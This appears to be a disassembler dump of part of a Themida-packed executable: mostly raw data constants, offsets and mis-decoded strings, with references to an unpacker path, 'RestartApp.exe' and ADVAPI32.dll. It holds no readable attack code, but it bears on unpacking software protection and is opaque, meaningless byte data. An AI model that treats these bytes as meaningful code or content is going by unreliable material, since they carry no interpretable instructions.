53F70EFCh, 3153B5C0h, 0C03254D8h, 4D002BDDh dd 6D7635EBh, 99FB2h, 5E86C10Fh, 0A6DFCEA8h, 1D307558h dd 96D21312h, 45CF5C00h, 7803E28Bh, 0E851C0C7h, 917D73ECh dd 9468C10Ah, 0B202C549h, 0C04CC39Ch, 3D978D35h, 0D0802B6Bh dd 32F73AEDh, 9269045h, 8A034015h, 0E5FC41Fh, 374F4D51h dd 7E6C9C40h, 0A13F86DFh, 0BFA78915h, 0D9C4012Ah, 43D146D8h dd 0FF1DE422h, 423BC1EDh, 50C33A51h, 0C4323EA0h, 79E54400h dd 2047CC14h, 728D00FDh, 9A5E6FC1h, 8458452Dh, 9DA6068Eh dd 0E8F557h, 26E7C1E9h, 503AEBD9h, 4B29B201h, 28AAE0DDh dd 91D2F450h, 0B9FC09E7h, 80DD109Ch, 90DB7810h, 0D363007Bh dd 1D73841Fh, 0CA32A315h, 0E3C0E807h, 0B341000Fh, 28B5297Bh dd 0DC7A08DDh, 8E6E0B00h, 14AAA8ABh, 48FD1889h, 0B899387Eh dd 0BD037090h, 0AF2DB3E5h, 0A022EB20h, 0A446AE92h, 50424CECh dd 0AB1D9187h, 89150002h, 0B1038842h, 0B7E062C5h, 754C95DAh dd 4832284h, 93AD8C55h, 62BCC8A8h, 0FA890801h, 52459551h dd 0BA4090C5h, 264D208Ah, 13186FDAh, 0C7302102h, 0B889805Eh dd 81586A12h, 8A3800F0h, 0B7DF773Fh, 0B8D194E5h, 0C22C0AE0h dd 8782D49Ah, 8049AD92h dd 0BCEB164h, 0BC7748DCh, 85F2EB82h, 262C16C1h, 0FEBD00A0h dd 0D892A40Dh, 2C8A8847h, 15F4831Fh, 7ACAD4C0h, 81FFACh dd 0EFF89131h, 7C3A6BD1h, 6880B491h, 0BD808DD2h, 1CB90081h dd 2F76CC0Fh, 0E0008EC1h, 54EA868Bh, 0E6103h, 771F91CFh dd 90E2F3CCh, 5DA3A1C0h, 71ECA980h, 59683F48h, 2D818F89h dd 0C9A4DF00h, 7001C245h, 0B1559C3Fh, 0A022CE9Dh, 14E01F78h dd 8308C043h, 0B9453DEFh, 0BF44C204h, 0CC8C459h, 4E2A3AA3h dd 0D1ACF989h, 0D5C6B280h, 2400545Bh, 44DD1520h, 4379A1Eh dd 90E8FF92h, 0DC388D91h, 5400AF5Eh, 0FA992A6Eh, 7FF87461h dd 0E4C7011Eh, 0B932C148h, 6432A8h, 0D4DB6F1Fh, 5C887B9Fh dd 800A821h, 14C336ACh, 6B0C5EFAh, 312FA896h, 21430071h dd 15C076E5h, 4507D23Dh, 35C289E1h, 36DF90D1h, 0CDB1C1C7h dd 90554820h, 0C00C5C20h, 0C8E12D84h, 8C54EC94h, 0CB76BFACh dd 1156D409h, 0AE00D77Eh, 7012CE81h, 0C40F220Eh, 929FC330h dd 5C490BA5h, 0F080A72Ah, 2CF2BF9Bh, 0C318DF48h, 0A75178F8h dd 5ABDFC01h, 98CF6053h, 0CEA2CCh, 7A08EF20h, 0BAFB924Bh dd 6FA4E200h, 2FE58D42h, 0B891CEh, 4E210BD4h, 0FF09DA9Ch dd 448D9F4h, 9CC1856Ch, 5DD39C0h, 866CE1C6h, 45CC0515h dd 83D0C273h, 24E634C0h, 20A8AF18h, 0FA08B89h, 0E12C2879h dd 4950F0A3h, 74FE0EF9h, 77E8E7E0h, 0BA518D63h, 299DA856h dd 99D300B8h, 27C3A5C2h, 0D1065287h, 5CC71E3Ch, 196E00B1h dd 0A2F7329Ch, 0EAFE9AC4h, 7EE88CA8h, 0CFB439h, 0FA17CC3h dd 78FE0AAh, 0BF53776Bh, 95C70017h, 2D14DA27h, 940E22Ah dd 7CB5C6C4h, 1B830B2Bh, 6860AD0Fh, 0D407D1E6h, 0D9220530h dd 0C965314h, 0D03A43E3h, 0A5053479h, 0E99E6CB0h, 0B88B18C3h dd 91CD5C1h, 951DB89h, 1A243D00h, 6C04C0ADh, 0E02D928Bh dd 0BA6C4A4h, 0AA23810Eh, 0F9FBC400h, 311E92B6h, 79F507D4h dd 10F8898h, 22E64ED6h, 0E0AAB188h, 3A5276CDh, 83050984h dd 0DCDE81BAh, 0E07F128Dh, 0A90F6E8Dh, 0D2762CEDh, 0F722C4Eh dd 1AA26259h, 9E586062h, 87E00079h, 0D4D2141Eh, 3C303212h dd 543359C2h, 0CA101F1Ah, 2320009Dh, 9AF72CBDh, 3B307EFCh dd 0AE1829CCh, 0E6BA016Ah, 1A268741h, 9832E4B5h, 0A4A852h dd 7ECAA5B1h, 0FB4C5461h, 0A4A7C407h, 5000BD14h, 8606469Dh dd 603D3Fh, 0E395EFA0h, 74471DF2h, 0D7BC6F05h, 0D0C854CEh dd 559700ADh, 2BD8899Eh, 530059FAh, 7CC24124h, 316DAC4h dd 0B073217Bh, 981E2FA0h, 0B2402CBFh, 325DF646h, 547C1655h dd 0F8402005h, 3FB8E439h, 77302BF2h, 6D071991h, 7DA61E68h dd 3E813ED2h, 0EFECE59Ch, 9F603864h, 39312640h, 0EA7687Ah dd 0DD5DDE3Eh, 2C6F62CFh, 774A8A7Fh, 13B8609Ch, 0DF1F209Eh dd 964027B6h, 0D495DC57h, 26180F0Dh, 0C322A148h, 94E0F88Ah dd 3154A724h, 88076D98h, 7AFD1AF1h, 3D134391h, 111FB420h dd 897725h, 8B67B3EBh, 9C3A4452h, 6FA08398h, 1DF066A4h dd 0E11C691Ah, 10C92461h, 136C90A8h, 55ED1EF2h, 5794008Bh dd 0CB283DDFh, 0EC6BAC0Ch, 426196h, 0CDEA0FC4h, 88F28314h dd 8BAA321Eh, 9B97AF00h, 9039BB3Ah, 0FC88B0F4h, 7034E8C6h dd 98E5026Eh, 1335F741h, 25C3AC63h, 8129F830h, 0ECB5ED8Ch dd 3CA84CDCh, 681416h, 91F31F88h, 0DB031756h, 2CD06509h dd 18888DA7h, 700F077Ch, 7099ADFFh, 291C7D92h, 0BF428F0h dd 0DDCE300h, 498C2272h, 2698A0E9h, 2AB97DBDh, 90EB3Bh dd 25532EADh, 0A27BE28Ch, 31345E03h, 0F88D8603h, 30C71B56h dd 0DF981D33h, 0BD5CE89Ah, 0A7081778h, 3CA04427h, 93BFE5Ah dd 0CFE15627h, 1804CC8Bh, 1A254047h, 22655D9Fh, 530093E2h dd 52951894h, 70B539A2h, 75F10041h, 0ED2DFF61h, 9C5C2A44h dd 59AA111Ch, 7640204Eh, 0DE001F95h, 0A36B5A45h, 398AD4FCh dd 1CDC0993h, 7300C822h, 0AE4BFA7Dh, 760FB5h, 0C3086353h dd 43310BCFh, 6C30D24Ah, 0ACA32Bh, 0DBF4FEF6h, 4B1A8B45h dd 0A05D5428h, 0E231F50Ch, 3A1C18Fh, 2A4AD2D6h, 0EAD0970Bh dd 0F5000CA8h, 1B1738C2h, 1F185E0Eh, 79B9D1Ah, 0E07A4E22h dd 0AAFD25C0h, 8099A8F6h, 0E2D8003Dh, 586C9E07h, 33ED02E9h dd 4F52045Eh, 23B07443h, 0BCA0B64Dh, 170F2072h, 7633AA2Ch dd 54014C13h, 0E6F4BAABh, 0FF1E782Ch, 0B4DFC4h, 95B20F87h dd 3504C38Ch, 0A7AA26F3h, 7754C8h, 0DD934847h, 7D4D8AC4h dd 1CD03053h, 94406F15h, 8DD8D55Fh, 20DA04A5h, 8373C1EBh dd 77F89E66h, 0B09CA82Ah, 6BA21180h, 74DF1FFAh, 0B79B0007h dd 558B0228h, 59D38A4Ch, 860DFC80h, 882C48F5h, 0B226CF03h dd 2822B813h, 0EC0D2485h, 200B1298h, 9DB28F94h, 39AE560Ch dd 4C9AF898h, 3639F895h, 6CA32AF4h, 806099E4h, 0EEDC2650h dd 6F00E176h, 6AE07432h, 412808Ch, 15A5868Bh, 0C540C11Bh dd 53CC6076h, 39C20107h, 0D472786Eh, 6D7C4024h, 237F009Dh dd 3BA6CA48h, 592C6930h, 493C3808h, 87B98074h, 10DAF56h dd 5839C3F7h, 60AC2F09h, 0BD179759h, 5020A092h, 0F8D8E2C2h dd 21F41830h, 5EC9407Ch, 781BD05Ch, 12FC64A8h, 0A4AA5000h dd 9FF2B960h, 0DA8D00C4h, 0CA49DBF8h, 270F2628h, 0A01E1DC3h dd 7A203CF7h, 0BA480B25h, 0C830DD2Ch, 1F16C35Eh, 7890CEBFh dd 729B2D4Eh, 225D0F78h, 9EE48054h, 0E418B5CEh, 90583569h dd 32ED090Dh, 0E83A8030h, 2429B8F2h, 11684921h, 0F6CC002Bh dd 6667ABCEh, 0CF810037h, 1CF21925h, 1E059943h, 334A025Ah dd 9227C4C0h, 2AF091DFh, 0D509760h, 3405C9Ch, 4F1AA5Fh dd 2060C33Eh, 0A788806Fh, 0BA392D74h, 158D9858h, 0E8AB3488h dd 9586091Eh, 14E0FD0Eh, 1A098A81h, 2271FC6Ch, 60905198h dd 97F9268h, 43547A3Eh, 15090044h, 1004D4B1h, 0B8C2194h dd 4B65679Fh, 0B1553C20h, 0DF0D8FD5h, 292CA790h, 3E8B47F4h dd 4C00C756h, 7D589714h, 0CB280D42h, 4444FC59h, 7B98282Ah dd 29170080h, 0BDA90F1Ah, 6312597Fh, 1027C76Eh, 44D25D10h dd 8D401B8h, 0BBEDC4EBh, 5832CEh, 4B98DC9Ah, 3C27731h dd 48B9871Fh, 0B69AA580h, 0AA3014A0h, 7C1C8C45h, 740A656h dd 0F7D9F890h, 15923FAFh, 46C64809h, 0DFD21800h, 6CA811A2h dd 6700F7DEh, 0A440EC5Dh, 3F79F3DDh, 0AF148788h, 0A106A8B4h dd 3136A798h, 92D00B1Eh, 4C464300h, 13ACF24h, 51AF12E4h dd 0E890EF88h, 0B8A88BE2h, 4A03CAF9h, 0C5D8F4AEh, 2E78E853h dd 20925A1Ch, 0CCA722FCh, 0FFFF01A5h, 0C0F6h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53DF73: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_5412E0 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 10h dd offset byte_5AC7C5 dd 25A0000h, 230FFB0h, 2 dup(0) dd 0FFA8A7D7h, 1, 8001FCFCh, 6Ch, 0BF0803h, 142340h, 5 dup(0) dd offset dword_5BA704 dd 1A5D5755h, 575829h, 7 dup(0) dd 2590000h, 5 dup(0) dd 7FFE0304h, 2 dup(0) dd 0A0A00Fh, 12h dup(0) dd offset word_5A86F6 align 10h dd 790C8823h, 1434h, 5 dup(0) aUwa db 'ΘW',0 align 4 aGf_0 db 'Gδ',0 align 10h aCw db '΅\ηw',0 align 4 dd 0 dd 0A069DDh, 7 dup(0) aBCw db '‘Γηw',0 align 10h dd 8A0FB5E2h, 2 dup(0) dd 1, 5402C4h, 0 aQA db 'οΜ ',0 align 10h dd 0FFA882F4h, 4 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FF5F5FF1h, 9 dup(0) dd 140D960h, 5 dup(0) aHSw db 'h!θw',0 align 4 dd 0 dd 7FFE0304h, 0A08C0Ah, 12FF54h, 0Ah dup(0) dd offset dword_592174 align 10h dd 0A069DDh, 5 dup(0) aDSw db 'd!θw',0 align 10h dd 4 dup(0) dd offset word_5A04A6 align 8 dd offset dword_53ED0C dd 0A09234h, 3 dup(0) dd 0A06CB0h, 0 dd 4, 2 dup(0) dd offset dword_5ACFFC dd 8 dup(0) dd 14A3B591h, 0 aWG db 'WΜΩg',0 align 4 dd 2 dup(0) dd 0FFF5A0FEh, 0Ah dup(0) dd 6B4Ch, 2650A287h, 6 dup(0) dd 6B4Ch, 3 dup(0) dd 0DDFCA5F1h, 0 dd 881857C9h, 6D656854h, 616469h, 1Eh dup(0) aCljw db '«jW',0 align 10h dd 80F2FFF9h, 0DCh, 575232h, 3 dup(0) dd 609Ch, 2 dup(0) dd offset dword_596AFC dd 0Bh dup(0) aWatp3 db ']Κwt',9,'3',0 align 10h dd 0 dd 6B4Ch, 2 dup(0) aKaS db 'Ka',7,'S',0 align 4 dd 3 dup(0) dd 1, 581491h, 3 dup(0) dd offset dword_571564 dd 0Bh dup(0) aMO db '#}',0 align 10h dd 2 dup(0) dd 70h, 8A0FB5E2h, 0Bh dup(0) dd 7FFE0304h, 3 dup(0) dd offset dword_56EDEC dd 1Ah dup(0) dd 4658152h, 2 dup(0) dd 5307614Bh, 0FFFF8C7Eh, 77E7A5FDh, 2 dup(0) dd offset dword_596AFC dd 2 dup(0) dd 4D34h, 12FFA4h, 6 dup(0) dd offset byte_5B6DC9 dd 0 aIiq db ':',0 align 4 dd 2, 7 dup(0) aJM db 'j*%M',0 align 4 dd 0Ah dup(0) dd offset word_5965F2 align 10h dd offset byte_589793 align 8 dd 77E805D8h, 58481Dh, 49CDh, 4 dup(0) aVp db 'ήP+',0 align 4 dd 2 dup(0) dd 80h, 4 dup(0) dd 13D802BBh, 540C7Ch, 5AB395h, 0Ah dup(0) dd 2410000h, 3 dup(0) dd 7FFE0304h, 8 dup(0) dd offset byte_576D0B aTyuj db 'tYU',0 align 10h dd 12FEF0h, 7 dup(0) aVA db '|V]',0 align 4 dd 6 dup(0) dd 35Bh, 4 dup(0) dd 0FFFFF73Eh, 0 dd 14B2CAF4h, 6 dup(0) dd 77E77963h, 596AFCh, 0A09393h, 12FF54h, 8 dup(0) aKaSZ db 'Ka',7,'S',7,'»Z',0 dd 2 dup(0) dd 85C9F329h, 5 dup(0) dd 7FFE0304h, 2 dup(0) dd offset byte_540023 dd 0 dd 9F0000h, 7FFE0304h, 2 dup(0) dd 0B0A1FEh, 0Ah dup(0) aR_0 db 'ΈΜ%ΰ',0 align 4 dd 0Ah dup(0) dd 0B31344h, 7 dup(0) dd 0EDF75AB7h, 77E7A5FDh, 0 dd offset dword_5BA704 dd 0 aEksacw db '[{eK ηw',0 align 10h dd 304h, 0FFA7778Eh, 4 dup(0) aGA db '£ΙΠA',0 align 10h dd 2 dup(0) dd 10ABCE2Bh, 2 dup(0) dd 0B6D3h, 0 dd 25C0000h, 7FA7B9DFh, 7 dup(0) aGQ db 'Υq<',0 align 10h dd 0FFF80C10h, 0A2B134h, 0 dd 0BE81417h, 5 dup(0) dd 2A79h, 2 dup(0) aXMn db '|M',0 align 4 dd 4 dup(0) dd 5CA5h, 12h dup(0) dd 0A27316h, 3 dup(0) dd 77E805D8h, 7 dup(0) dd offset dword_53ED0C dd 77E60000h, 57E7D5h, 8 dup(0) dd 0FFFF3C91h, 0BAEF6BBAh, 14B2CAF4h, 2 dup(0) dd 6, 4 dup(0) dd 9F0000h, 80A266D9h, 5 dup(0) dd 7FFE0304h, 541E78h, 5AB4B3h, 2 dup(0) dd offset byte_57C775 dd 3 dup(0) dd 0FF5F9623h, 3 dup(0) a7icw db '7¨ηw',0 align 10h dd 38000h, 0 a0I db 'ί0Ε©',0 align 10h dd 29h dup(0) dd 0A069DDh, 4 dup(0) dd 6B4Ch, 0 dd 2405h, 3 dup(0) dd 3F9F8h, 0 dd 0A122D4h, 4 dup(0) dd 3FE277F6h, 0A9C530DFh, 5 dup(0) dd 7FFE0304h, 0A069DDh, 0 dd 7FFE0304h, 77DD59F0h, 577D0Ch, 0 dd 74h, 4 dup(0) aEp db 'μ^EP',0 align 10h dd 9 dup(0) dd offset byte_5B3FDD dd 6 dup(0) db '""""""""',0 align 4 dd offset dword_58FFB0 dd 2 dup(0) dd 0CE0CAB37h, 6 dup(0) dd offset word_589776 dd 2Ch dup(0) dd offset byte_57DDCD dd 2 dup(0) dd 77F52E0Fh, 2 dup(0) dd 3A0h, 8 dup(0) dd 241000Ch, 5 dup(0) dd offset dword_59FE9C dd 4 dup(0) dd 8C6Bh, 8 dup(0) dd offset word_5A810A dd 8 dup(0) dd 4001D8h, 0 dd 23h, 3 dup(0) aMJ db 'Ώ¬,j',0 align 10h dd 11111111h, 4FCEC5FBh, 3 dup(0) dd 6B4Ch, 575232h dword_53ED0C dd 3E4h, 2 dup(0) ; DATA XREF: Themida_:0053E1D8o ; Themida_:0053E8F4o dd offset asc_5BFF34 ; "ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ"... dd 15h dup(0) aSQa db 'ΛQ',0 align 4 dd 0 aXSi db 'ε\s',0 align 10h a0I_0 db 'ί0Ε©',0 align 4 aCM_unpacker db 'C:\m_unpacker',0 align 4 dd 7Eh dup(0) dd 6B4Ch, 0FFFFFF54h, 0 dd 0FFFF8E14h, 2 dup(0) dd 0FFA1FBACh, 12FFE0h, 3 dup(0) dd 7FFE0304h, 91AD0EBBh, 4 dup(0) dd 0A4A5E7h, 0 dd 0C9F3D8B0h, 3 dup(0) dd offset byte_59664F dd 0 dd 0FFA400CCh, 0 dd 1, 577D0Ch, 0 dd 0A13154h, 53FDC4h, 0ACh, 2 dup(0) dd 0A0A08Dh, 0A0A037h, 2 dup(0) dd 0A27FD8h, 0A0979Dh, 0A0A00Fh, 5 dup(0) dd 284F0000h, 25A0000h, 0FFFFFF5Ch, 0 dd 3CCh, 6 dup(0) dd 0E447h, 0Eh dup(0) aJW db 'jΙΤw',0 align 4 dd 7 dup(0) dd 400E9h, 0A02BDEh, 3 dup(0) dd 1AECh, 4 dup(0) dd 12FF54h, 5 dup(0) dd 0E0014h, 581A9Ah, 2 dup(0) dd 9Ch, 8A0FB5E2h, 3 dup(0) dd 6B4Ch, 2FCB30EBh, 0 dd 7FFE0304h, 6F561584h, 0Ah dup(0) dd 0A03145h, 4 dup(0) a1I7lw db '1Τ°λ7«W',0 dd 7 dup(0) dd offset dword_5BA704 align 8 dd 7FFE0304h, 0 dd 8A0FB5E2h, 2 dup(0) aJlW db ',',7,'Ώ«"W',0 dd 4 dup(0) dd 84h, 0Ch dup(0) dd 564D577Fh, 4 dup(0) dd 0B8157BF3h, 0 dd 4D34h, 0 dd 17D311C8h, 3 dup(0) aY@ db 'yΟ@Ϋ',0 align 4 dd 5 dup(0) aGaj db '£¦Ν',0 align 10h dd 5 dup(0) dd 12FF54h, 0 dd 7FFE0304h, 5 dup(0) dd offset byte_57E641 dd 0 aRestartapp_exe db 'RestartApp.exe',0 align 4 dd offset byte_56E667 dd 2496BCEh, 6 dup(0) dd offset dword_578CD8 dd offset dword_53F860 dd 8E82h, 6 dup(0) dd 7FFE0304h, 6 dup(0) dd 2710h, 3 dup(0) dd offset word_5B1752 dd 0 dd 12FF54h, 2Bh dup(0) aQucw db 'οηw',0 align 4 dd 2 dup(0) dd 0A29BACh, 0Ch dup(0) dd 12FFF0h, 2 dup(0) dd offset word_570A16 dd 0Bh dup(0) dd offset dword_578CD8 dd 3CA8h, 0A280105h, 7 dup(0) dd 0A070C4h, 4 dup(0) db '!!!!',0 align 4 dd 0FFFF76E7h, 0 dd 77F5180Bh, 2 dup(0) dd 119D97D7h, 3 dup(0) dd 1, 585D4F4h, 2 dup(0) dd 0FFFFC830h, 7 dup(0) dd 48057h, 28E0000h, 0 dd 7D1h, 0FFFFB2CCh, 0A0A00Fh, 0 dd 0FFFFFF20h, 778C7D25h, 0 dd 0FFA49223h, 2 dup(0) aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 4 dd 3Eh dup(0) dd 0FFFFF5C1h, 5 dup(0) a@V db '@',1Bh,'΄v',0 align 4 dd 2 dup(0) dd 7FFE0304h, 3 dup(0) dd 0FEF56C57h, 0 dd 77E7C486h, 1042040Dh, 2 dup(0) dd 7FFE0304h, 3 dup(0) dd offset dword_53FE38 dd 2 dup(0) aMcw db '^¬ηw',0 align 10h dd 2 dup(0) dd 75B5h, 2 dup(0) dd 0FFFFF5C1h, 6 dup(0) dd offset dword_577D0C dd 77E80618h, 0A9C530DFh, 0E80h, 577D0Ch, 0 dd 162752A0h, 3 dup(0) dd offset word_570A16 dd 3 dup(0) dd offset dword_596688 dd 8001FCFCh, 2 dup(0) dd 72A8h, 0Ch dup(0) dd offset byte_591D69 dd 0 dd 0FF5F5FF1h, 5A8015h, 2 dup(0) dd 0F4092F00h, 0FFA882F4h, 3 dup(0) dd 77E83E68h, 0BC73017Bh, 2 dup(0) dd offset a4Qrs+3 dd 0Eh dup(0) dd 77E600F8h, 2 dup(0) dd 7FFF03FCh, 0DD000h, 7FFE0304h, 0Bh dup(0) dd offset dword_52F848+7DBh dd 9 dup(0) dword_53F860 dd 0A13268h, 5A650Bh, 0 ; DATA XREF: Themida_:0053F2F0o dd 8A0FB5E2h, 0Ah dup(0) db '½ΑΣ[',0 align 10h dd 8 dup(0) dd offset byte_577149 dd 2 dup(0) dd 1F773038h, 5 dup(0) a333333333333 db '333333333333',0 align 4 dd 0B7h dup(0) aEoer db ' R',0 align 10h dd 12FF54h, 6 dup(0) dd offset word_5A86F6 dd offset aS_5 ; "\rΥθ\a" dd 8 dup(0) dd 7CCh, 0 dd 6B4Ch, 4 dup(0) aScK db '',8,'ͺ',0 db 10h, 1Ch, 0 dd 4 dup(0) a3kqt db '3kqt',0 align 10h dd 3 dup(0) aIx db '$$$$ΝIX',0 align 8 dd 77E7A144h, 0ACF89EB5h, 337E3323h, 11h dup(0) aM_1 db '<ΏΔ',0 align 10h dd 2 dup(0) dd offset word_5AF3C2 align 10h dd 9FB168h, 0 dd 6E8h, 0A02292h, 7 dup(0) dd 77F50000h, 2 dup(0) dd 50455EECh, 1, 0FFFFF643h, 14628h, 0FE3F0050h, 6 dup(0) dd offset word_59BD0E aDey db 'ή₯Y',0 align 10h dd 0 dd 77DD0000h, 0Ch dup(0) aWcW db 'Χ#έwζΠW',0 dd 0 dd 4, 0 dd 0BFF74E53h, 0 dd 12FF54h, 4 dup(0) dd 620h, 57FE6Ah, 53ED0Ch, 0A123E8h, 2 dup(0) dd offset word_577D1E dd 0D0h, 3 dup(0) dd 4C00h, 7 dup(0) aCw_0 db '΅\ηw',0 align 4 dd 4 dup(0) dd 90h, 598944h, 0 dd offset byte_57225B dd offset dword_577D0C dd 0 dd offset dword_46713C+8A0h dword_53FE38 dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h ; DATA XREF: Themida_:0053F6BCo dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF00A0A0h dd 24448BE0h, 0E0FF04h, 1Ch dup(0) aRSw db '',27h,'θw',0 align 4 dd 5 dup(0) dd 0C9F3D910h, 1, 7FFE0304h, 5 dup(0) dd 0A11568h, 4 dup(0) a0I_1 db 'ί0Ε©',0 align 4 dd 2 dup(0) dd 77E6D706h, 0FFED00ACh, 6 dup(0) dd 5041647Dh, 1FFEB89Fh, 0 dd offset dword_5BA704 dd 35Bh, 0 dd 79BF8DF8h, 3 dup(0) dd 12FFA4h, 2, 3 dup(0) dd 1C1E8h, 5 dup(0) dd 0A3A3E115h, 592175h, 2 dup(0) dd 0FF4FAEC8h, 3 dup(0) dd 8A0FB5E2h, 3 dup(0) dd offset dword_578CD8 align 8 dd offset dword_5A0880 aGSlsnd db 'g,ι«S€',0 dd 4 dup(0) dd 7FFE0304h, 2 dup(0) dd 37D0h, 0 dd offset byte_568D47 align 10h db 4, 3, 0FEh byte_540023 db 7Fh ; DATA XREF: Themida_:0053E70Co a7icw_0 db '7¨ηw',0 align 4 dd offset byte_59696D dd offset byte_572283 aAq db '}q`',0 align 4 dd 24160FAh, 0 dd 0D1D0h, 0 dd 1, 0 dd 1, 8 dup(0) aI_q db 'ή.',0 align 10h dd 0 dd 3C600h, 0 aClmx db 'c¬X',0 align 4 dd 5 dup(0) dd 5CFCB9E7h, 0Fh dup(0) dd 77E80591h, 4 dup(0) dd offset byte_5ACAE7 dd 2 dup(0) dd 1FFEB89Fh, 9 dup(0) aSSw db 'θ/θw',0 align 4 dd 4 dup(0) aHmv db 8,'HMV',0 align 10h dd 5 dup(0) dd 0A0A00Fh, 3 dup(0) dd 17D3h, 0 dd 400000h, 0 aJcwl db ';JηwL]',0 db 'κ',0 align 10h dd 4 dup(0) dd offset dword_5AD478 dd 0Bh dup(0) dd offset word_57C542 align 8 dd 0FBABBB0Ah, 7 dup(0) dd 24160FAh, 7 dup(0) dd 690105F0h, 3 dup(0) dd 0FF5F5FF1h, 0 dd 4ACAh, 7FFE0304h, 0 dd 1000h, 5 dup(0) dd 0FFA8F5EAh, 0 aCpA db 'ήp+ ',0 align 4 dd 4 dup(0) dd 39F0F65Dh, 0 dd 5494h, 0 dd 0FFFE9F64h, 0Fh dup(0) dd 0A11568h, 12h dup(0) a2Z db '2²Δz',0 align 10h aM_2: unicode 0, <>,0 aNnib db 'b',0 align 4 dd 11h dup(0) dd 7FFE63EFh, 12FFC4h, 0 dd offset word_57D0E6 dd 0 dd 2, 0 aNnF db 'ΐF',0 align 4 dd 0Ah dup(0) dd 7FFE0304h, 0 dd 4BA6F984h, 0 dd 5B7F6FFFh, 0 dd offset word_58D91E dd 183E2433h, 0 dd 0FFFFFFFCh, 0A4h, 5 dup(0) dd 0A069DDh, 13h dup(0) dd 8A0F0000h, 3 dup(0) dd 39h, 0FFFF9468h, 45C5D3F2h, 59E29Fh, 77E7A144h, 3 dup(0) dd 7FFE0304h, 8 dup(0) dd 0FF8BB7D8h, 0A9C530DFh, 0A09499h, 0 dd 84FA00A6h, 4 dup(0) dd 14CCFBB5h, 3 dup(0) dd 0E42EF049h, 28E068Bh, 0FFFFF448h, 3 dup(0) dd 803h, 2Bh, 4 dup(0) dd 0A009F7h, 40000h, 0DB40EFF5h, 0 dd offset byte_5ACF33 dd 3 dup(0) dd offset word_578D0A dd offset aZyQrs+3 dd 7 dup(0) dd offset aA_2 ; "`aΒ\b" dd 9 dup(0) dd 0E361h, 77E78B82h, 0 aZaxa db '§aX',0 align 4 dd 0 dd 0B70000h, 5AEA79h, 3 dup(0) dd 2, 7FFE0304h, 5643h, 87h dup(0) dd offset dword_5A7EC4 dd 0 dd 1, 9 dup(0) dd 7FFE0304h, 6 dup(0) dd 1B18F31Bh, 3 dup(0) db '{Ϋ;',0Ah,0 align 4 aKk db 'kk',0 align 4 dd 3 dup(0) aApy db '\―y',0 align 10h aS_6: unicode 0, <>,0 align 8 aSy db 'έ΅ιy',0 align 10h dd offset dword_575390 dd 4 dup(0) aCm_0 db 'μΣ',0 align 10h dd 0FFA8ADCEh, 0 dd offset byte_5AB395 dd 18h dup(0) dd 0A09C37h, 5 dup(0) dd 6B4Ch, 1C27199Dh, 2 dup(0) dd 61223330h, 7FFE0304h, 2 dup(0) aHSw_0 db 'h!θw',0 align 4 dd 2 dup(0) dd offset dword_574C40 dd 78AE171Bh, 2 dup(0) dd 0A0A00Fh, 3 dup(0) dd offset byte_5B3897 dd 800019D2h, 0 dd 0A05E2Eh, 4 dup(0) dd offset byte_57A3A1 align 10h dd 0FFA58DFEh, 5B6DDDh, 0FF5F73F6h, 0 dd offset word_54196E dd 0A03E3Bh, 0 dd offset dword_542170 dd 181B790Dh, 0 dd offset byte_5A8015 dd 7Ch, 6329C1BDh, 9 dup(0) dd 7FFEA1B5h, 3 dup(0) dd 0B548F174h, 22h dup(0) dd offset word_5771A6 align 10h dd 77E7A13Fh, 3158E30h, 3 dup(0) dd offset dword_575390 dd 3 dup(0) dd 758E9h, 6 dup(0) aNnqq db 'Q',0 align 4 dd 0 dd 7FFE0304h, 4 dup(0) dd offset dword_596AFC dd 25B0000h, 577D0Ch, 3 dup(0) dd offset byte_585A2F dd 0Bh dup(0) dd offset word_54196E dd 1, 0 dd 800133A9h, 2 dup(0) dd offset dword_4DE000 align 8 dd 0E025CBF0h, 2 dup(0) dd 77DD189Ah, 0 dd 7FFE0304h, 2 dup(0) dd 77D40000h, 0 dd 0A11568h, 36363636h, 3 dup(0) dd 800133A9h, 0 aRT db 'Ιΰ|β',0 align 4 dd 2 dup(0) dd 8A2F3AEBh, 0A0A00Fh, 7 dup(0) dd offset word_5729CE dd 5 dup(0) dd 0A8h, 0 dd 6A064Bh, 2 dup(0) dd 82A28D8Dh, 4, 5A86F6h, 0 dd 0D6Ch, 0 dd 12FF34h, 94h, 0 dd 7FFE0304h, 2 dup(0) dd 6B4Ch, 0F90h, 3 dup(0) dd offset dword_577D0C dd 7FFE0304h, 2 dup(0) aIolhIa db 'λO«Hέi ',0 dd 6 dup(0) dd offset word_570A16 align 8 dd 0FFED00ACh, 0A0915Bh, 2 dup(0) dd 7FFE0304h, 571FE8h, 0 dword_540C74 dd 77E60000h, 2D5E3840h, 64h dup(0) ; DATA XREF: Themida_:00540EC4o dd offset dword_594534 dd 3 dup(0) dd 540DD29Dh, 77F7EBB3h, 2 dup(0) dd 77A2B2DBh, 7DFCB2E4h, 7FFE0BFDh, 0FFA676BCh, 3 dup(0) dd 0A0A00Fh, 4 dup(0) dd 170B69h, 7650EF77h, 9 dup(0) dd 12FFA4h, 77EBA6E9h, 3 dup(0) dd 0FFFF94B4h, 9FD554h, 2 dup(0) dd 1FFEB89Fh, 54196Eh, 5057F0F5h, 2 dup(0) dd offset byte_5A5C19 dd offset dword_540C74+9 dd 26ECE99h, 7 dup(0) dd 2, 2 dup(0) dd 0FFFF95A4h, 77E8360Ch, 0 dd 9F8E620Fh, 0Fh dup(0) dd 0A08C0Ah, 7 dup(0) dd 7FFE0304h, 3 dup(0) aX0 db '',0Dh,'Τ0',0 align 4 aI_1: unicode 0, <>,0 align 10h dd offset word_57C6FA dd 4 dup(0) dd 0B015h, 0 dd 0FC7EE374h, 0 aW db 'Μ^έw',0 align 4 dd 7FFE0304h, 312D3430h, 5 dup(0) dd 77D4C96Ah, 7FFE0304h, 2 dup(0) dd 1, 0 dd offset dword_578CD8 dd 2 dup(0) dd offset byte_5A9141 dd 8 dup(0) dd 5928h, 0 aV_0 db '»vΫκ',0 align 10h dd offset byte_5A0447 dd 0 